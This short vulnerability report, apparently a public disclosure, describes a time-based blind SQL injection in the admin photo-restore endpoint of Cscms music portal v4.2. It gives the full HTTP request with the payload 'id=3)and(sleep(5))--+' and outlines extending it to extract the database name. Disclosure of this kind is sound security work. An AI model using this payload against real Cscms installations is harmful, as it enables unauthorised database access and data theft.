SQL injection vulnerability exists in Cscms music portal system v4.2

[Am1azi3ng]

Details

there is a Injection vulnerability exists in pic_Pic.php_hy

Injection occurs when restoring deleted photos from the trash

GET /admin.php/pic/admin/pic/hy?id=3)and(sleep(5))--+ HTTP/1.1
Host: cscms.test
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://cscms.test/admin.php/pic/admin/pic?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=o58jedqf4p0pobv4atdiuae0n6015865
Connection: close

Discovery success makes the server sleep,Construct payload,Then construct payload to blast database

Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerablity exisit